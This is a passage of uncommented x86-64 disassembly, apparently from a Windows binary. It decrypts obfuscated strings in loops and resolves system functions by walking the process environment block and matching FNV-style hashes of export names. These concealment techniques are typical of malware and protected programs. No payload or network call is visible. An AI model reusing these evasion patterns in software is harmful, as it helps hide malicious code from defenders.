lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140281916
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140281916
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402835aa
mov dword [0x14039d270], 1
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x7a], al
lea rdx, [rbp + 0x4650]
lea rcx, [rbp - 0x7a]
call fcn.1402790f0
mov r10, rax
mov byte [rax + 0x90], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x6c]
nop
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x93]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281996
inc dl
cmp dl, 4
jne 0x140281980
jmp 0x1402819a8
movsx ecx, r9b
movzx eax, byte [r10 + 0x96]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402819c7
inc cl
cmp cl, 8
jne 0x1402819b5
jmp 0x1402819d9
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x95]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402819f2
inc cl
cmp cl, 5
jne 0x1402819e0
jmp 0x140281a04
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x94]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x92]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x24
jne 0x140281950
mov eax, dword [0x14039d270]
and eax, 0x1f
cmp byte [rax + r10 + 0x6c], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], r15d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x79], al
lea rdx, [rbp + 0x3690]
lea rcx, [rbp - 0x79]
call fcn.1402791f0
mov r10, rax
mov byte [rax + 0x80], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x60]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x83]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281ab6
inc dl
cmp dl, 4
jne 0x140281aa0
jmp 0x140281ac8
movsx ecx, r9b
movzx eax, byte [r10 + 0x86]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281ae7
inc cl
cmp cl, 8
jne 0x140281ad5
jmp 0x140281af9
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x85]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281b12
inc cl
cmp cl, 5
jne 0x140281b00
jmp 0x140281b24
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x84]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x82]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x20
jne 0x140281a70
mov eax, dword [0x14039d270]
and eax, 0x1f
cmp byte [r10 + rax + 0x60], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 3
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x78], al
lea rdx, [rbp + 0x4ab0]
lea rcx, [rbp - 0x78]
call fcn.1402792d0
mov r10, rax
mov byte [rax + 0x88], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x66]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x8b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140281bd6
inc dl
cmp dl, 4
jne 0x140281bc0
jmp 0x140281be8
movsx ecx, r9b
movzx eax, byte [r10 + 0x8e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281c07
inc cl
cmp cl, 8
jne 0x140281bf5
jmp 0x140281c19
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x8d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140281c32
inc cl
cmp cl, 5
jne 0x140281c20
jmp 0x140281c44
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x8c]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x8a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x22
jne 0x140281b90
mov eax, 0xcccccccd
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
mov eax, r8d
sub eax, ecx
cmp byte [rax + r10 + 0x66], 0x2e
je 0x1402821e2
xor eax, eax
mov byte [rbp - 0x77], al
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp - 0x77]
call fcn.1402793c0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140281cc1
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x1402821db
movzx edx, byte [rax]
lea eax, [rdx + 2]
movzx ecx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x1402821db
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x1402821db
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
jne 0x1402821db
xor eax, eax
mov byte [rbp - 0x76], al
lea rdx, [rbp + 0x1e4]
lea rcx, [rbp - 0x76]
call fcn.1402793e0
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140281d3d
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140281d78
movzx ecx, byte [rax]
lea eax, [rcx + 2]
movzx edx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140281d78
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140281d78
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402835aa
cmp dword [0x14039d270], 9
jb 0x1402835aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140281e28
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140281e28
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x5eef0872
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140281e23
movsx ecx, r8b
sub r8b, r15b
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140281df0
cmp r10d, 0xa5db9674
je 0x140281e30
test r11d, r11d
jne 0x140281dd0
mov rax, qword [rax]
jmp 0x140281da0
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
cmp eax, 0x1f
ja 0x140282014
mov ecx, 0x80040889
bt ecx, eax
jae 0x1402835aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140281f08
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140281f08
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xd62060ce
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140281f03
movsx ecx, r8b
sub r8b, r15b
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140281ed0
cmp r10d, 0x897395f5
je 0x140281f10
test r11d, r11d
jne 0x140281eb0
mov rax, qword [rax]
jmp 0x140281e80
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov r15d, eax
mov eax, 0x545811d9
imul r15d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x309021bc
sub r15d, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140281fe9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140281fe9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0xd7206261
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140281fe4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140281fb0
cmp r10d, 0x5b6e0ec7
je 0x140281ff1
test r11d, r11d
jne 0x140281f90
mov rax, qword [rax]
jmp 0x140281f60
mov edx, dword [r14 + 0x1c]
add rdx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov edx, dword [rdx + rax*4]
add rdx, rbx
mov ecx, r15d
call rdx
jmp 0x1402835aa
sub eax, 0x59
je 0x14028202e
sub eax, 0x1d
je 0x14028202e
sub eax, 0xb4
je 0x14028202e
cmp eax, 4
jne 0x1402835aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1402820c8
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1402820c8
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x60ba423c
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402820c3
movsx ecx, r8b
sub r8b, r15b
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140282090
cmp r10d, 0x9a9a72cb
je 0x1402820d0
test r11d, r11d
jne 0x140282070
mov rax, qword [rax]
jmp 0x140282040
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov r15d, eax
mov eax, 0x5b2468c1
imul r15d
sar edx, 0x1c
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x2cf0d515
sub r15d, eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x1402821a9
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x1402821a9
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rsi + r11*4]
mov r9d, dword [rcx + rbx]
add r9, rbx
mov r10d, 0x61ba43cf
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x1402821a4
movsx ecx, r8b
sub r8b, 0x41
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x140282170
cmp r10d, 0xaf1eda20
je 0x1402821b1
test r11d, r11d
jne 0x140282150
mov rax, qword [rax]
jmp 0x140282120
mov edx, dword [r14 + 0x1c]
add rdx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov r8d, dword [rdx + rax*4]
add r8, rbx
mov edx, 0x48a198df
mov ecx, r15d
call r8
jmp 0x1402835aa
mov r8d, dword [0x14039d270]
add r8d, 0xfffffff4
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x75], al
lea rdx, [rbp + 0x4970]
lea rcx, [rbp - 0x75]
call fcn.140279400
mov r10, rax
mov byte [rax + 0x94], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x6f]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x97]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282266
inc dl
cmp dl, 4
jne 0x140282250
jmp 0x140282278
movsx ecx, r9b
movzx eax, byte [r10 + 0x9a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282297
inc cl
cmp cl, 8
jne 0x140282285
jmp 0x1402822a9
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x99]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402822c2
inc cl
cmp cl, 5
jne 0x1402822b0
jmp 0x1402822d4
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x98]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x96]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x25
jne 0x140282220
mov eax, 0xcccccccd
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
mov eax, r8d
sub eax, ecx
cmp byte [rax + r10 + 0x6f], 0x2e
je 0x14028238b
xor eax, eax
mov byte [rbp - 0x74], al
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x74]
call fcn.140279510
mov r9, rax
mov r8d, dword [rax + 4]
movzx ecx, byte [rax + 0xa]
mov edx, r8d
shr edx, cl
test dl, 1
je 0x140282349
movzx ecx, byte [rax]
inc cl
mov edx, r8d
shr edx, cl
test dl, 1
jne 0x140282384
movzx ecx, byte [rax]
lea eax, [rcx + 2]
movzx edx, al
bt r8d, ecx
setae cl
bt r8d, edx
setae al
test al, cl
je 0x140282384
movzx ecx, byte [r9 + 8]
mov eax, r8d
shr eax, cl
test al, 1
jne 0x140282384
movzx ecx, byte [r9 + 9]
shr r8d, cl
test r8b, 1
je 0x1402835aa
mov r8d, dword [0x14039d270]
inc r8d
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x73], al
lea rdx, [rbp + 0x3960]
lea rcx, [rbp - 0x73]
call fcn.140279530
mov r10, rax
mov byte [rax + 0x84], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x63]
nop dword [rax]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x87]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282416
inc dl
cmp dl, 4
jne 0x140282400
jmp 0x140282428
movsx ecx, r9b
movzx eax, byte [r10 + 0x8a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282447
inc cl
cmp cl, 8
jne 0x140282435
jmp 0x140282459
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x89]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282472
inc cl
cmp cl, 5
jne 0x140282460
jmp 0x140282484
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x88]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x86]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x21
jne 0x1402823d0
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [rcx + r10 + 0x63], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 0x2b
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x72], al
lea rdx, [rbp + 0x63f0]
lea rcx, [rbp - 0x72]
call fcn.140279620
mov r10, rax
mov byte [rax + 0x104], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0xc3]
nop word [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x107]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282546
inc dl
cmp dl, 4
jne 0x140282530
jmp 0x140282558
movsx ecx, r9b
movzx eax, byte [r10 + 0x10a]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282577
inc cl
cmp cl, 8
jne 0x140282565
jmp 0x140282589
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x109]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402825a2
inc cl
cmp cl, 5
jne 0x140282590
jmp 0x1402825b4
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x108]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x106]
xor byte [r8], sil
inc edi
inc r8
cmp edi, r15d
jne 0x140282500
mov eax, dword [0x14039d270]
and eax, 0x3f
cmp byte [rax + r10 + 0xc3], 0x2e
jne 0x1402835aa
mov dword [0x14039d270], 4
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x71], al
lea rdx, [rbp + 0x3520]
lea rcx, [rbp - 0x71]
call fcn.140279820
mov r10, rax
mov byte [rax + 0x68], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x4e]
nop dword [rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x6b]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282666
inc dl
cmp dl, 4
jne 0x140282650
jmp 0x140282675
movsx ecx, r9b
movzx eax, byte [r10 + 0x6e]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282694
inc cl
cmp cl, 8
jne 0x140282682
jmp 0x1402826a3
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x6d]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402826c2
inc cl
cmp cl, 5
jne 0x1402826b0
jmp 0x1402826d1
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x6c]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x6a]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x1a
jne 0x140282620
mov eax, 0xcccccccd
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 3
lea ecx, [rdx + rdx*4]
add ecx, ecx
mov eax, r8d
sub eax, ecx
cmp byte [rax + r10 + 0x4e], 0x2e
jne 0x1402835aa
add r8d, 7
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x70], al
lea rdx, [rbp + 0x41a0]
lea rcx, [rbp - 0x70]
call fcn.1402798e0
mov r10, rax
mov byte [rax + 0x7c], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x5d]
nop dword [rax]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x7f]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282796
inc dl
cmp dl, 4
jne 0x140282780
jmp 0x1402827a8
movsx ecx, r9b
movzx eax, byte [r10 + 0x82]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402827c7
inc cl
cmp cl, 8
jne 0x1402827b5
jmp 0x1402827d9
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x81]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402827f2
inc cl
cmp cl, 5
jne 0x1402827e0
jmp 0x140282804
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x80]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x7e]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x1f
jne 0x140282750
mov eax, 0x4ec4ec4f
mov r8d, dword [0x14039d270]
mul r8d
shr edx, 2
imul eax, edx, 0xd
mov ecx, r8d
sub ecx, eax
cmp byte [rcx + r10 + 0x5d], 0x2e
jne 0x14028284a
mov r8d, r15d
mov dword [0x14039d270], r15d
jmp 0x1402835aa
add r8d, 0x5e
mov dword [0x14039d270], r8d
jmp 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6f], al
lea rdx, [rbp + 0x23c0]
lea rcx, [rbp - 0x6f]
call fcn.1402799c0
mov r10, rax
mov byte [rax + 0x40], 0
xor r12d, r12d
mov edi, r12d
lea r8, [rax + 0x30]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0x43]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x1402828c6
inc dl
cmp dl, 4
jne 0x1402828b0
jmp 0x1402828d5
movsx ecx, r9b
movzx eax, byte [r10 + 0x46]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x1402828f4
inc cl
cmp cl, 8
jne 0x1402828e2
jmp 0x140282903
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x45]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282922
inc cl
cmp cl, 5
jne 0x140282910
jmp 0x140282931
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x44]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0x42]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 0x10
jne 0x140282880
mov eax, 0xcccccccd
mov ecx, dword [0x14039d270]
mul ecx
shr edx, 3
lea eax, [rdx + rdx*4]
add eax, eax
sub ecx, eax
cmp byte [rcx + r10 + 0x30], 0x66
jne 0x140282974
mov dword [0x14039d270], 0x55
jmp 0x1402835aa
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov rbx, qword [rax + 0x30]
movsxd rcx, dword [rbx + 0x3c]
mov r14d, dword [rcx + rbx + 0x88]
add r14, rbx
cmp r14, rbx
je 0x140282a18
mov r11d, dword [r14 + 0x18]
test r11d, r11d
je 0x140282a18
mov esi, dword [r14 + 0x20]
nop word [rax + rax]
dec r11d
lea rcx, [rbx + r11*4]
mov r9d, dword [rcx + rsi]
add r9, rbx
mov r10d, 0xc9f55c83
movzx r8d, byte [r9]
inc r9
test r8b, r8b
je 0x140282a13
movsx ecx, r8b
sub r8b, r15b
mov edx, ecx
or edx, 0x20
cmp r8b, 0x19
cmova edx, ecx
xor edx, r10d
imul r10d, edx, 0x1000193
movzx r8d, byte [r9]
lea r9, [r9 + 1]
test r8b, r8b
jne 0x1402829e0
cmp r10d, 0xc55ec935
je 0x140282a20
test r11d, r11d
jne 0x1402829c0
mov rax, qword [rax]
jmp 0x140282990
mov ecx, dword [r14 + 0x1c]
add rcx, rbx
mov eax, dword [r14 + 0x24]
add rax, rbx
movzx eax, word [rax + r11*2]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
call rcx
mov r8d, eax
test eax, eax
je 0x1402835aa
mov eax, 0xcccccccd
mul r8d
shr edx, 2
lea ecx, [rdx + rdx*4]
sub r8d, ecx
cmp r8d, 2
jne 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6e], al
lea rdx, [rbp + 0x868]
lea rcx, [rbp - 0x6e]
call fcn.140279a40
mov r10, rax
mov byte [rax + 0xc], r12b
mov edi, r12d
lea r8, [rax + 9]
nop dword [rax]
nop dword [rax + rax]
lea ebx, [rdi + rdi*2]
movzx edx, byte [rbx + r10]
mov byte [r8], dl
movzx eax, dil
add al, al
lea esi, [rax + rdi]
movzx r9d, sil
add r9b, byte [r10 + 0xf]
xor r9b, dl
mov byte [r8], r9b
xor dl, dl
lea eax, [rbx + 1]
movzx r11d, byte [rax + r10]
nop dword [rax]
movzx eax, r11b
movzx ecx, dl
sar al, cl
test al, 1
jne 0x140282ad6
inc dl
cmp dl, 4
jne 0x140282ac0
jmp 0x140282ae5
movsx ecx, r9b
movzx eax, byte [r10 + 0x12]
btc ecx, eax
mov byte [r8], cl
mov cl, 5
lea eax, [rbx + 2]
mov r9d, eax
movzx edx, byte [rax + r10]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282b04
inc cl
cmp cl, 8
jne 0x140282af2
jmp 0x140282b13
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x11]
btc ecx, eax
mov byte [r8], cl
xor cl, cl
movzx edx, byte [r9 + r10]
nop word [rax + rax]
movzx eax, dl
sar al, cl
test al, 1
jne 0x140282b32
inc cl
cmp cl, 5
jne 0x140282b20
jmp 0x140282b41
movsx ecx, byte [r8]
movzx eax, byte [r10 + 0x10]
btc ecx, eax
mov byte [r8], cl
add sil, byte [r10 + 0xe]
xor byte [r8], sil
inc edi
inc r8
cmp edi, 3
jne 0x140282a90
cmp byte [r10 + 9], r12b
jne 0x1402835aa
xor eax, eax
mov byte [rbp - 0x6d], al
